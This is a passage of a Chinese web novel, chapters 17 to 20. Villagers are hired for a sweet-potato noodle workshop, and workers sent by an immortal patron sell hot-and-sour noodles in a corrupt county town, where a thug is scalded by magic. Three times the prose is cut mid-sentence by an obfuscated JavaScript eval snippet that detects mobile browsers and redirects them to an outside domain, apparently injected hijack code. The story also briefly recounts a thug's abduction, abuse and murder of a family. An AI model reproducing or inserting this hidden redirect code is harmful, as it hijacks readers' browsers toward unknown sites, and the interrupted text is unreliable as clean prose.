毕竟上次的效果很是不错,这次他自然也要照搬上次的经验。 张山这回找到杨延,说明来意后,倒是杨延先瞪大了双眼。 “你是说,要招收工人?具体是干什么的?招收几人?” 边问,杨延边研墨打算帮他写,倒是张山的下一句话让他呆愣在原地。 “先招收三十人吧,具体内容就是洗地瓜,切地瓜这些,活计比较轻松,男女都能干。” 杨延又问日薪,在得知依旧是日100文后,顿时心生向往。 听上去这工作很不错,大哥大嫂或许也能去干,不过就是招收人数有些少,不知道能不能选上。 想到自己一家人是刚来到斗坡村,杨延顿觉自己还是不要去和本地人争这些工作了,就算到时候争抢上了,也只会让村人心生不满。 ——只能希望以后这些活计多一些,多到本地人都干不完,那样他也就能毫无心理负担地让哥嫂前往了。 按照张山的要求,杨延很快便写好了招聘单,随即将这单子递给了张山。 和上次一样,招聘单很快便被贴了出去。 村中识字的人先将招聘单的内容念了出来。 果不其然,人群再次被这次的招聘内容引爆。 “地瓜加工厂?地瓜,可是先前的番薯?” “就是番薯,这上面不是写着呢吗,日100文,工作内容竟然这么简单?” 有人不相信,但是那招聘单上白纸黑字,写的便是如此。 不少人蠢蠢欲动。 “预招30人,不过还必须过了面试才行。” “按照那单子上写的,妇人也能去工作?” “上面说的是男女不限,想必是能的。” 看清楚了招聘单上写的东西后,村人各个心神荡漾。 村中不少闲在家中的妇人也欢喜起来。 这可是天大的好事,这加工厂就在本村,离得近,工钱给的高,赚钱贴补家用最合适不过了。 众人心底火热,纷纷直奔张山住所而去,生怕去得晚了赶不上这等好事。 也有细心的妇人们,先行回家洗漱更衣,再前往张山住所。 这洗漱的妇人中,百技娘子便是一个。 急匆匆回到家,百技娘子打水仔细擦了擦身上,又洗干净头发和双手,换了身干净衣物,这才挎着篮子前往招工地。 等到她到了时,就看到招工地早就里三层外三层地围了一圈人。 百技娘子心里一个咯噔,心想这次招工可能要轮不到她,结果这时,先前一波进入屋子内的村人垂头丧气地出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886609|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 这些人出来后,又一批人再次进入。 百技娘子趁机往前挤了挤,听聚在前面的人说着屋内的事。 “一共进了20人,只留下一个妇人。” “这要求听上去挺严格?” “不太晓得。” 在听到留下一个妇人时,百技娘子眼神不由自主地拐到屋门口。 果不其然,正好和那位入选的妇人对上了眼,只这一眼,百技娘子心中迸发出希望,先前漂浮不定的心,这会稳当起来。 等到屋内喊着让进下一批人时,百技娘子连忙整理了一番仪容,这才走近屋内。 屋内就是普通寻常人家住所模样,百技娘子进去后,紧张得连眼睛都不知道该往哪里看,这时就听到张山开口,让他们20人伸出手来。 迷迷糊糊,按照张山的要求伸手,她紧张得心脏砰砰直跳,这会不知道怎么了,嗓子眼又干又涩。 张山在她们一行人前走了两圈,又仔细看了看她们头发后,开口留下了两个妇人和一个男人。 两个妇人中,就有百技娘子。 在听到自己的名字后,百技娘子这才浑身一软,心道自己的努力果然没有白费。 ——先前听说这加工厂是做番薯加工时,她就猜想对招工的要求可能需要素日爱干净的人,这才选在在大伙着急赶着去应聘前,自己先行回了家洗漱一番。 再加上她平时倒也是个干净人,所以打理起来并未花费太多时间。 百技娘子心生感慨,又转身去看另外的两人,发现两人都是看上去仪容整洁之人,这更加印证了她心中所想之事。 “你们先出去和被选中的人呆在一起,一会选完了以后,我带你们去厂子,说一下你们每天的工作。” 张山看三人愣在原地,出声让他们先退出去,这三人这才推门离开,等和大部队聚集在一起后,百技娘子那颗漂浮不定的心,终于像是踩在实土上一般,稳当下来。 片刻欣喜后,百技娘子便开始担心之后工作内容。 她一个从未出门工作过的妇人,真能担得起这日100工钱的工作么? 越想越害怕,其他妇人也好不到哪里去,各个眼里充满了对未知的迷茫担忧。 生怕自己干得不好,平白无故没了这好工作。 不知过了多久,总算是招聘完工。 张山带着30人,快步走进其中。 先带着这三十人参观一圈加工厂,众人倒是没有见过这般独特的厂房,一进去,满眼都是新奇。 为了能够更好地工作,张山一一给众人讲解之后她们所需要做的工作。 众人越听,越是觉得奇特。 ——这些加工食材,到底能有什么用? 不过这话也不敢问,毕竟当着人张山的面去否定加工厂,实在是太缺眼力见。 跟着张山走完了一圈后,众人便乖乖听从张山的分配。 张山此行招聘一共招收30人,女人18人,男人12人。 先前他其实对于招人标准很迷茫,不知道到底应该主要考察面试者的哪一方面,好在杨延提醒他。 “既然做的是吃食生意,必然要找干净细致之人,除却这些人外,还要找一部分能做劳力的人。” 于是,招工标准成立了。 17.第17章 入城了 看着招来的三十人,张山将加工地瓜中的卖力气活交给了男人,至于和灶台相关联的活计,则是分配给了女人们。 百技娘子的工作内容便是负责粉条下锅,煮熟后捞出的活计。 这活相对来说轻松,但是对于观察力要求比较高,毕竟粉条出快了,可算是做坏了。 将工作内容讲清楚后,加工厂算是开始初次运营。 张山全程看着流程,好在出错的时候,纠正这些人。 很快,他就发现,蒸地瓜干这业务倒是没出错,工人干得都挺顺利,在粉条业务上,则是出现了不少小问题。 好在下山前,张山早就将神仙教给他的流程铭刻在心,这会就算是出了问题,只需要参照脑内标准答案纠错便足够。 忙活了一个时辰,总算两样都加工顺利。 看着众人热火朝天地干活,张山决定再观察两天,等到确定干活无误后,再将这情况汇报给仙师。 等过了两天,看到晾晒架上挂得满满当当的暗灰色粉条时,张山忍不住将此事禀告给了仙师。 “不错,你将新一批粉条收下来,我有用。” 张山心头火热,仙师这竟然是在认可他? 不敢怠慢仙师,张山立即将制作完毕的粉条装在麻袋中,堆在一起,而几乎片刻,只见金光一闪,这些拜访得整齐的粉条全都消失不见。 张山犹豫片刻,最后还是决定不要打扰仙师了。 毕竟仙师每天需要操心的事情太多了,他作为仙师的得力手下,应该想法子替仙师省心,而不是有点事就去麻烦仙师。 想通后,张山愉悦地继续投入生产粉条大业中。 而姜定此刻,则忙着培训手下的工人们制作酸辣粉,蚂蚁上树,以及猪肉炖粉条。 当然了,这些人都是吃过这三样的人,自然是知道这三样味美极了。 培训自然是在学堂输入对应视频,而后姜定再从其中挑选出个人属性是厨艺的工人去做。 因张山的粉条来得正是时候,所以培训接入的很顺利。 为了更快给山下众人推广粉条,姜定一连选择了十人,而后让这些人下山推广美食。 这些人中,便有先前被授予采集工作的张山娘子张氏。 起初得知不用继续采集工作时,张氏急得直掉眼泪,但是听说是仙师是给她换另一种工作后,她顿时心安了。 等跟着挑选出来的九人一起完成厨艺培训后,工钱又提高了50文,她们一行人的工作内容便是下山推广美食。 姜定目标明确,告知十人不用太纠结收入,最主要还是要保障人人都尝过这些美食才行。 十人均恭敬应下。 而在这十人中,张氏作为领头人,带着其余九人下山。 队伍里仅有两名男人,负责日常搬东西,而剩余的八人,则是推广美食的主力军。 大多为妇人们,毕竟这个年代,还是女人们负责做饭的时候多。 一行人先是被仙师传送到山外,随后,每个人背着东西,慢慢前往风仙县, ——仙师给的提示是,先去县城售卖,之后再去村内售卖。 虽说不理解,但是一行人依旧表示绝对的服从。 一行人因背着东西,所以前进速度绝不算快,中途他们在歇脚的地方歇了两次,总算在第二天早上来到了风仙县。 一行人来到县城门外时,发现县城入城的地方正有不少人在排队进城。 张氏带着一行人,跟在这些要进城的人身后排队。 等排到城门口时,一行人这才知道现在进城竟然还需要交纳人头费! 一个人要交纳20文,不少排队的人在听到这费用后,黯然离开,也有人汇聚在一旁,选出一个代表人进入城内购买物资,其余人在外面等着,就为了省这进城钱。 张氏双眼目及之处,映入眼帘的竟全是百姓那麻木的眼神,她不由自主地往后后退一步,心脏忍不住砰砰直跳。 她身后的女人低声问,“张娘子,我们还进不,这入城费不低呀,你说我们是让一半人进入城内推广,另一半人去村庄,还是咱们全都进去?” 张氏微微沉思,随后下定决心。 “既然仙师说了让我们进城,那他必定是已经想到了这情况,所以我们必须按照他的要求,全部入城!” 既然张氏都这般说了,其余人自然没有意见,众人紧张地盯着前面负责搜查百姓包裹的官兵,各个紧张得面色发白。 等到轮到张氏一行人时,黑脸官兵一把拎起张氏背在后背上的背篓,掀开盖在上面的白布一看,看到的就是被张氏裹放着的粉条。 他忍不住皱着眉,粗声粗气质问,“这是何物?我好像没见过这东西?” 张氏何时遇到过官兵,这会忍着恐惧,柔着嗓音道:“官爷有所不知,这物是我在家做的吃食,想拿到城里换点钱给孩子买点米吃,还望官爷开恩。” 官兵斜眼看她。 张氏后面的妇人也被另一个官兵拦了下来,那人发现她的背篓内东西和张氏的一模一样。 后面又检查了几人,均从这些人的背篓里查出来了此物。 再一问,这些人竟都是一个村的。 既然东西一样,想必确实是一个村里做出来的吃食。 两个官兵互相交换了一下眼色,其中一个恶狠狠地上去推了张氏一把,撞得她肩膀像是撕裂了一样疼。 “去去去,什么玩意,你那些东西能不能吃还两说,吃坏了城里的老爷们,谁负责?” 张氏顾不得肩膀剧痛,挣扎着走过去赔笑。 “官爷说笑了,这些东西我们哪里敢卖给老爷们,都是素日自己吃的,不过就是图个新鲜,进城试试能不能换点粮食回来,官爷您开开恩,孩子已经三天没吃东西了...” 边说,张氏边赔笑,边从怀里掏出一吊钱塞进对方衣袖。 似乎是感受到了铜板沉甸甸的分量,官兵先前还严肃的脸色,顿时舒缓下来。 “.....既然是为了孩子,那我就开开善心,让你们进吧,不过切记,别惹事,惹出来事,大罗金仙来了都救不了你们。” 低声威胁完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894499|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这些人后,官兵散开,让这十人进入。 张氏赶紧赔笑着点头,随后招呼身后人赶快跟上。 她往前走了几步,这才发觉太阳出来了。 折腾了一番,竟已经到了辰时二刻。 张氏似乎若有所感,回头再望向身后。 两个官兵再次将不少想入城的百姓拦了下来,有钱的塞着钱,陪着笑才能进,而那些没钱的,或者塞的钱官兵看不上的,均被他们粗暴推倒在地,任凭百姓们磕破了头,官兵依旧怒瞪着眉,不肯退让分毫。 明明天气不冷,张氏却无法自控地出了一身鸡皮疙瘩。 抬头看天,太阳散发着惨白的光芒,照得她遍体生寒。 ——人间,可比炼狱。 所以,这便是仙师让她们来城里的原因么? 好好的睁眼看看这世道? 回想起在潜灵山上的日子,张氏顿觉那才是她此生最舒服的时候。 他们十人不敢耽搁,拼了命往前走,生怕被身后的卫兵逮住,再次被敲诈一波,而等到好不容易远离城门后,十人这才放慢了步伐,互相交头接耳。 “太黑了,500文才给过!” “天杀的,黑了心的东西,这会闹饥荒,他们还要收这么高的价格,真是不给人留活路。” “这么一对比,仙师不愧是仙师,这些人连给仙师提鞋都不配。” “对了,张娘子,你肩膀怎么样了?” 站在张氏身后的妇人看得分明,刚才那官兵动手着实没轻没重,不知道张娘子如何了。 张氏忍住疼,柔声道:“无妨,眼下还是先办仙师交代给咱们的任务为重,咱们不如去吃食一条街去看看?那地方虽说需要摆摊费,但是人流量多,不仅有富商偶尔去转转,尝尝新鲜吃食,也有不少平民百姓也会过去。” 张氏的这一说法获得了大伙的认可,众人不敢耽误,加快脚步前往风仙县最为热闹的吃食一条街。 一路走来,众人发现外面虽已饥荒许久,而风仙县内却丝毫看不出受灾,唯一的变化便是粮价一升再升,街道上的人少了些,不过和城外相比,城内这场景还是让众人惊讶不已。 等到走了有半个时辰后,终于到了地方。 张氏仔细观察着这条小吃街,发现有一半的小摊都空了出来,看样子是因为饥荒闹的。 而剩余还在开着的小吃摊,价格也是惊人。 原先十文钱的阳春面,现在早就翻了好几倍,不过就算如此,摊位上竟然还有人在吃面。 而原先就昂贵的肉类制品,此刻价格就更不用说了。 张氏走动了几番,终于选定将摊位摆在一个甜水摊位旁。 这摊位老板在看到张氏一行人后,先是震惊,随后打听她们是卖啥的。 得知对方是卖主食,并不会和自己抢生意后,他也就放下戒备心,和张氏一行人说点闲话。 张氏则是眼尖地注意到,这人的摊位上竟然还有有冰卖。 ——能弄到冰的都不是普通人,看来可以问问对方摊位费去哪里办合适。 18.第18章 好吃 打定主意后,张氏便开口询问。 “黄掌柜,向您打听个事,我们初来乍到,想摆摊去哪里交摊位费呢,还望黄掌柜指点一二。” 张氏的姿态放得很低,黄掌柜倒也不反感这问题,他扫了一眼附近,低声道:“去县衙的话,一日十文,找我的话,一日五文。既然遇到了便是缘分,你别声张,我替你办了。” 张氏惊愕之下,还没反应过来,就看到这黄掌柜喊出一个小儿,随后给这小孩子耳语几句,这小孩立马屁颠颠地离开了。 正打算问问时,却见黄掌柜的摊位上恰好来了来买饮水的客人。 黄掌柜连忙扯开笑脸,殷勤地向对方介绍。 “诶,今个刚出的酥山,夏荷姑娘不尝尝?” 来人是个穿着浅黄色上襦,月牙白下裙,挽着同心鬓的姑娘,头上戴了几只绢花,耳朵上是攒成花朵形状的米粒珍珠,看上去气度像是哪家娇贵的小姐。 张氏边忙活着摊子,边偷瞄着这位姑娘。 “酥山?什么口味的?我家娘子最近害喜,只喜欢吃酸的,你这酥山,不是酸的也得给做成酸的喽。” “夏荷姑娘,不瞒您,我这酥山正是酸梅口味的,你打包两盏回去给你家娘子尝尝,保管吃了开胃。” 听着黄掌柜信誓旦旦的话,夏荷扫了他摊位上的酥山一眼,随后点头,从荷包里拿钱。 “除了酥山,我还需要一批冰,黄掌柜待下午酉时前,将冰送至我们府上。” 黄掌柜喜得脸都要笑烂。 “诶诶诶,一定的一定的,这事必定给夏荷姑娘办得妥帖,您就放心吧!” 夏荷正和这黄掌柜说话呢,突然嗅到了一股极其霸道的香味。 这味道又酸又麻,让人一闻就食欲大开。 夏荷不自觉顺着味,不自觉将眼神频频往隔壁摊位看去。 只见那热气腾腾的铁锅中,翻滚着数根透明色的面条,妇人将这透明色面条捞出来后,快速放入已经调好料汁的酸汤内。 整个过程流畅无比,这些人配合得也是异常熟练,仿佛早就这样配合了数千次一般。 夏荷不自觉往前走了两步,黄掌柜也略带诧异地看着隔壁摊位。 “这物是什么,怎么卖?” 夏荷性子大胆,看到新奇的东西免不了想要尝试一番,其余人还没回神,张氏先柔声开口:“回姑娘,这物是酸辣粉,这透明的面条,名为粉条,一碗粉30文,里面还加了肉末。” 边说,张氏边将酸辣粉展示出来给夏荷看。 在听到定价后,其余人都是略带惊讶地看了眼张氏。 ——是不是太贵了,仙师那里酸辣粉只卖6文啊! 这....这可是整整翻了五倍啊! 而夏荷则微微蹙眉,——竟这么便宜? 再看向那碗酸辣粉,红油鲜香,似乎正在招手让她去品味。 再也忍不住,夏荷从荷包里爽快掏出30文。 “来一份酸辣粉尝尝。” 张氏几人均对视一眼,都从对方眼里品到了兴奋。 这可是她们卖出去的头一份酸辣粉! 大伙干活更有劲了,不多久,一份散发着酸辣麻香的酸辣粉出锅了。 夏荷自顾自坐下来,随后拿起筷子,伸到碗底去挑粉。 酸辣粉滑溜溜的,筷子碰到时,偶还会弹跳几下,夏荷眼神中带上了新奇,等到将酸辣粉送入口中,一股酸麻直冲味蕾。 随后便是味蕾在狂欢。 ——怎的能这般有滋味? 夏荷顾不得矜持,一口接着一口,暴风吸入,等到最后,她甚至喝完了酸辣粉的汤汁。 “这酸辣粉味道可真不错,店家,再给我做三份,我打包带走。” 边说,夏荷边将自己随身带着的饭盒递了过去。 其余人都有些激动,而张氏倒不着急做,反而询问带走的酸辣粉可是要给孕妇食用。 夏荷点头,随后就听张氏嘱咐她。 “酸辣粉这物,孕妇不要经常吃,不过偶尔尝个味没问题的。” 她们下山前,看完了关于粉条的安全宣传,得知这东西好吃归好吃,如果吃得太多对身体不太好,所以张氏才会提醒夏荷。 夏荷看了张氏一眼,倒是没想到对方竟然会提醒自己。 “多谢店家提醒,我只是让大娘子尝尝而已,要是多吃的话,自然不成。” 确保对方知道后,张氏应下,其余人则是飞快做粉,不多时,热气腾腾的酸辣粉便被她盛放进入饭盒内。 一下子卖出去四碗,众人眼带兴奋。 张氏却端着一碗酸辣粉,送到了从刚才起,一直眼巴巴望着的黄掌柜手里。 “黄掌柜,您也尝尝,算是我们谢谢您替我们去办理那摊位费。” 黄掌柜还没回神呢,手里先被塞进来一碗酸辣粉。 刚想说些什么,却见张氏早已回去继续忙活了。 黄掌柜叹了口气。 ——怎么还有这么老实的人呢,他替这些人办摊位费,不过也是因为县衙里有人,两人私下放出一些摊位,靠这个赚点外快而已,竟然还真有人这么实诚,竟然还送他价值30文一碗的酸辣粉? 刚想将这粉送回去,但一股异常酸爽的香味直冲他而来,黄掌柜咽了口唾沫,第一回觉得自己的身体不受自己控制。 身体自动接下来碗筷,随后开始暴风吸入! 那酸辣的滋味一旦尝试过,便在没有人能抵抗! 黄掌柜反应过来后,这才惊觉自己竟在不知不觉中吃光了这酸辣粉! 再看向隔壁摊位,又发现有不少人竟然都在尝试着吃酸辣粉。 去的那些人,有些是经常来买他家饮水的老顾客。 这些人一开始是想买冰饮,结果来了以后,均不受控制地去了隔壁摊子尝鲜。 不知为何,黄掌柜感觉自己不知道是不是吃了酸辣粉的缘故,心里也变得酸酸的。 ——要知道,那些可都是他以往的忠实顾客啊! 这次竟然看也不看他,全部去买酸辣粉了! 黄掌柜有些吃醋,凑过去,刚想和张氏说句话,不料自己摊位上竟也陆陆续续来了不少人。 仔细一看,来人各个嘴唇鲜艳,脑袋上淌着细密的汗珠。 黄掌柜顿时明悟了,转头看向张氏,却发现对方正含笑看了他一眼,随后自顾自去继续干活了。 “黄掌柜,来一碟沙冰给小爷我降降火,那酸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907114|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辣粉实在是太够味了!” 说这话的是个穿着水绿色衣袍的年轻少年,腰间系着玉佩,一看就像是富贵人家的小少爷。 他身旁围着好几个穿着鲜艳衣物的年轻少年,不过,人群中,最为耀眼的还是穿水绿袍的赵金构。 面若中秋之月,色如春晓之花。 这两句用在赵金构身上毫不违和。 黄掌柜笑着打了几碟子的沙冰递过去,“赵少爷怎么有空来我这了?刚好,这新上的梅子味沙冰极为爽口,您尝尝!” 将沙冰端在手心上,赵金构颇为享受地眯起眼睛。 “不错,用来解辣再合适不过了。” 他身后跟着的其余人则也跟着品尝沙冰,其中有人更是对着赵金构恭维不已。 “赵小爷慷慨,能带着咱们吃香的喝辣的,咱们用这冰沙代酒,我先吃为敬!” 粉袍少年嬉皮笑脸地凑过去和赵金构说话,被他拿起折扇敲打在脑袋上。 “去去去,还敢调侃我了。” 边说,赵金构从荷包里掏出一块银子甩在黄掌柜面前。 “再打包两份,一会装在那个食盒里,剩余的不用找了。” 这块银子早就超过了几碟沙冰价格,黄掌柜笑得灿烂,恨不得给赵金构当牛做马。 赵金构刚往前走了没几步,就听那酸辣粉的小摊上传来争吵声。 他回身去看,却看到几个流里流气的流氓将酸辣粉小吃摊团团围住,白吃白喝不给钱不说,打头的那个流氓,竟是对着其中一个岁数最小的小娘子动手动脚。 小娘子挣扎着往后退,摊子其余的人则是一把将同伴护在身后,张氏瞪着眼睛,身材单薄,却站在最前面和流氓对峙。 黄掌柜在看到这群流氓后,心里直打鼓。 这些流氓正是城内最为嚣张的那伙,为首的流氓李德正是风仙县李县丞的表弟,素日收保护费,欺男霸女,什么坏事都干遍了,因背景强大,至今无人敢动他。 拿前年闹得最大的事来说,这李德强行掳走良家女子,先后将前来讨要女子的父母兄弟关押折磨,等玩腻了女子后,又将女子卖入红楼接客,这还没完,他甚至将女子的家人带到红楼,亲眼看着女子受辱。 最终女子不堪受辱,从高楼一跃而下,而女子的兄长为替女子报仇,想去击杀李德,结果毫不意外地被此人反杀,折磨致死后扔进城外喂鱼,女子父母不堪折磨,最终选择出城上诉,结果在路上两人就被人杀死,尸体就那样抛在城外,从此以后,李德的恶名遍布,城内老百姓,谁看到他都得瑟缩着打摆子。 没想到一眨眼时间,他甚至还没机会告知对方要注意李德此人,结果这小摊位竟能这么快招惹到这混账。 黄掌柜有些不忍心再看,——他有什么办法呢,毕竟这流氓背靠大树,哪里能是他这些小民能斗得过的? 眼看张氏出头,为首流氓呵呵冷笑。 “好个不知好歹的妇人,德爷吃你的饭菜是看得上你,怎还要让爷花钱才能吃啊?” 边说,边用脚去踹摊位。 看到这流氓猖狂的模样,赵金构握紧了拳头,俊秀的眉头忍不住跳了又跳。 而此刻,姜定电脑屏幕上却弹出来了一条紧急求助。 19、第19章 惩治 【您的宣传工人遇到了城内恶霸欺压,面对恶霸的踢馆行为,你打算怎么做?】 【a.不管不顾,让宣传工人自生自灭,告诉他们这是物竞天择,适者生存】 【b.讨好恶霸,让他和他的兄弟们获得免费吃食物的权利,以德化怨】 【c.睚眦必报,绞杀这些流氓,让此人知道你不好惹(在城内击杀有一定几率导致未知后果,慎重)】 【d.小发雷霆,警告流氓打狗还要看主人】 看着这四个选项,姜定沉默了。 a什么鬼,他总共都没几个工人,还要让这几人都去死,他还玩什么? b更不行了,总感觉这行为实在是说不出的窝囊。 c看着不错,姜定一阵手痒,但是在看到括号内的提示后,忍住了这股冲动。 ......忍忍吧,这是城内,等到城外后,他一定得选这选项解解手痒。 d...只能是这个选项了。 不过总感觉放过这些流氓让人好不爽,不然还是标记这些人,等到他们出城后杀掉吧。 这么一想,姜定顿时舒服多了。 先选择d,随后再标记挑衅的几人,这才暂时不再关注此事。 而在城内,流氓刚伸出脚,本想将摊位上的锅具踹飞,结果一脚下去,锅具纹丝不动,里面的沸水却像是活了一般,直逼他而来。 沸水身上升腾起白茫茫的烟雾,在他还没反应过来之际,这沸水扑了过去,将他们一行人浇了个透。 赵金构刚想伸出去的手,再看到这些人在一眨眼间被开水淋了个透后,顿时收了回来。 而张氏几人则是呆愣愣地看着那仿若活物的开水,各个屏气,不敢出声。 ——是仙师!一定是仙师! 本以为今天可能要挨一顿毒打,或者是遭遇其他不测,但谁能想到,仙师竟然在她们不知道的地方默默关注着她们! 不然该如何解释流氓一来,仙师就能知道这事? 张氏心头一片火热,那开水虽说淋到了流氓身上,但溅射下来的开水,却未曾伤害到她们中的任何一人。 而流氓则在看到像是活了一般的开水后,顿时害怕得动也不敢动,等到浑身被开水浇上后,各个惨叫着飞奔离开。 为首的流氓心里又惊又惧,浑身滚烫,开水似乎将他的皮肤灼烧出了一个又一个的大泡,不过就算如此,他始终不敢停下奔跑的脚步,等到冲到一处澡堂将浑身浸泡在凉水后,他这才后怕地回想到那一幕。 那水好像活过来一样,到底是他看错了,还是他们一行人作恶太多报应来了? 跟在他身后的流氓也是这般心态,各个神情紧绷,其中有一人凑上去贴在李德耳朵旁试探。 “德爷,是不是那家人来报仇了?” 他说谁大伙都懂,李德冷哼一声,面色阴云遍布。 “怕什么,能杀他们一次,咱们还能再杀第二次,敢来索德爷的命,也得看自己配不配!” 话虽这么说,但他心中是控制不住地恐惧。 刚才他看到的并非幻象,那开水烫得他浑身全是水泡,这会恐惧一过,疼痛随之而来,李德烦躁地点了一个澡堂小弟,喊郎中过来给他治疗烧伤。 而张氏的酸辣粉摊位,此刻再次恢复平静。 他们一行人先是将锅具捡起,随后洗干净,竟然再次开始做起了买卖。 黄掌柜看得是又惊又怕,赶忙上前劝道:“你们快别做生意了,那李德靠山大得很,不是你们能抗衡的,赶紧收拾东西,出城去吧,不然等他反应过来,你们怕是出不去了!” 张氏看出来黄掌柜的焦急,在没得到仙师的庇护前,她不敢冒险停留在城内,但既然仙师已然用行动告诉她不必畏惧,那就说明仙师早就预料到了一切,并为她们的安全负责。 “多谢黄掌柜,您的好意我心领了,不过那流氓背后有人,我们背后也有人。” 张氏这话一出,黄掌柜顿时来了精神。 “那一定是一位大人物吧?” 至少要比这李县丞官大,不然张氏一行人竟然一点都不带怕的? 不过这也说不定,毕竟张氏一行人来的时候,她们甚至还来请教他关于摆摊的事,如果她们背后真是位大人物,为何不直接替她们打点好? 黄掌柜满是疑惑。 而张氏则是想起了仙师,笃定道:“自然。” 黄掌柜看了看张氏,感觉她不像是说谎,只能安慰自己——或许对方的背景不是风仙县的?是隔壁县的? 反正有背景就好啊!至少不会莫名其妙死在这里! 黄掌柜总算放心,不过想到刚才那巧合的一幕,他不知为何,心中甚是畅快。 ——这样的恶棍早就该遭报应了! 而赵金构看到流氓走后,也带着众人离开了。 等到赵金构离开时,黄掌柜看得分明,这些人小厮手中均拎着食盒,看样子是从酸辣粉那摊位上买去打包的。 再看向隔壁摊位时,他先前那股被抢夺客人的小酸意早就消失了。 ——酸什么酸,隔壁不是来和他抢生意的,而是来加入他的啊! 没看到酸辣粉一开张,他这冰反而卖得更快了么? 尤其是想到刚才张氏还请他吃了一碗粉,黄掌柜有些坐不住了。 他喊来刚跑腿回来的小孩,让他原路返回,给他家亲戚说一声,让帮忙多照顾几分张氏一行人。 虽说张氏她们背后站着大人物,但是自己若是在风仙县多照顾一些对方,以后他有点事了也能去寻求张氏的帮助。 刚回家的小孩:?不是,什么意思,你有话能不能一次说完啊? 不过掌柜的命令不敢违抗,只能气鼓鼓地快跑去了县衙。 而黄掌柜则是笑眯眯地凑上去,拿出三十文。 “麻烦张掌柜再给我做一碗粉吧,你这粉滋味可是真不错。” 张氏自然再次给他端来一碗,而黄掌柜看着这十人,发现这十人中,负责洗完的一人,专门看管锅炉的一人,煮粉一人,摆放配菜一人,收钱的一人,即便是再忙,五个人便能倒腾开来,倒也用不着十人。 一般人做生意哪会来这么多人,一看就是没啥做生意的经验。 黄掌柜再次笃定,这些人定是有某种任务。 不过既然对方要隐瞒,他不至于没眼色到挑明,这年头,要想活得久,就少点好奇心为好。 假装将自己的疑惑说出来后,张氏微微蹙眉,开始反思自己的安排。 再次看着人员分配后,她也觉得黄掌柜说的有道理。 ——或许,她该让其中的五人出城去,去各个村庄宣传酸辣粉。 不过在村庄里,自然是不可能卖这么高的价格了,有的混乱的村子,她们甚至都不能去,免得遭遇抢劫。 很快,张氏作出决定。 她让四个妇人,一个男人暂行出城,先回斗坡村兜售宣传酸辣粉。 毕竟村里有自家相公负责建造加工厂,还有不少别的地方的村民来斗坡村学习种植番薯,这样一来,自家村子反而成了一个附近村民们最容易聚集的地方! 这五人在听完张氏安排后,纷纷带上东西,打算回去,而临回之前,张氏让五人先用仙师给发放的工钱去买点城里的东西再回去,不然岂不是白白浪费这入城费用。 五人很快离去,倒是看着这一切的黄掌柜疑惑起来。 “张掌柜,他们这是去...?” “第一次来,不知道做这酸辣粉买卖需要多少人,再加上我们村的人也要进城才买物资,这才决定一块来了,结果就像您所说,来了以后发现人手多了,自是让他们采买完物资后,先回去算了。” 张氏的解释很有道理,黄掌柜虽知张氏很可能是说谎了,但是他也假装理解。 “也是,毕竟现在这世道太乱,结伴安全点。” 眼看没啥说的了,他端着自己还剩下多半碗的酸辣粉,进了身后的铺子内。 张氏倒有些惊讶,没想到这黄掌柜除了开摊位,铺子竟然也有。 果然一开始选择和对方打交道是有用的,不说多照顾自己一行人,至少说不要刁难自己就足够了。 孙府。 夏荷喜气洋洋地端着食盒进了自家娘子的屋内。 边走边高声喊道:“大娘子,开来看我给你弄来了什么好玩意!” 此时正是秋老虎,屋外燥热,而屋内却凉爽无比。 那紫檀木的高凳上,正摆放着满满一盆冒着尖的冰, 春央正替自家大娘子点茶,一抬头,却见夏荷冒失地走了进来。 不由蹙眉斥责她。 “夏荷,不可在大娘子面前这般冒失,以往你这般我管不着,现在大娘子可是有孕在身,你总是这般冒失,哪天冲撞了娘子。” 夏荷不是很在意地摆摆手,“你就是太小心了,春央,你看大娘子都没说我呢!” “那是大娘子心善。” 春央忍不住回怼,却听自家大娘子温和开口。 “好了,都别吵了,夏荷,你刚才说有什么新奇之物让我看?拿出来瞧瞧。” 孙府大娘子自怀孕后,在家除了吃喝便不能再出门,毕竟前三个月胎还不稳当,而她害喜的症状比别人都要严重,已经好些日子吃不下东西,一吃就吐。 原先那圆润的面庞,现在早已瘦成了瓜子脸。 惹得她的陪嫁丫鬟心疼不已。 夏荷这才自告奋勇出门去替自家娘子找些新奇之物,就盼着自家娘子能吃下点东西。《 》 20、第20章 试吃装 等到将食盒内的酸辣粉拿出来后,整个屋内都充斥着这股酸辣麻爽的香味。 孙府大娘子不自觉嗅了嗅这香味,头一次觉得自己对食物没那么反感恶心,看着这充满食欲的酸辣粉,她吩咐春央去给自己拿双筷子。 等到拿到筷子后,一筷子粉条进肚,孙府大娘子顿时瞪大眼睛。 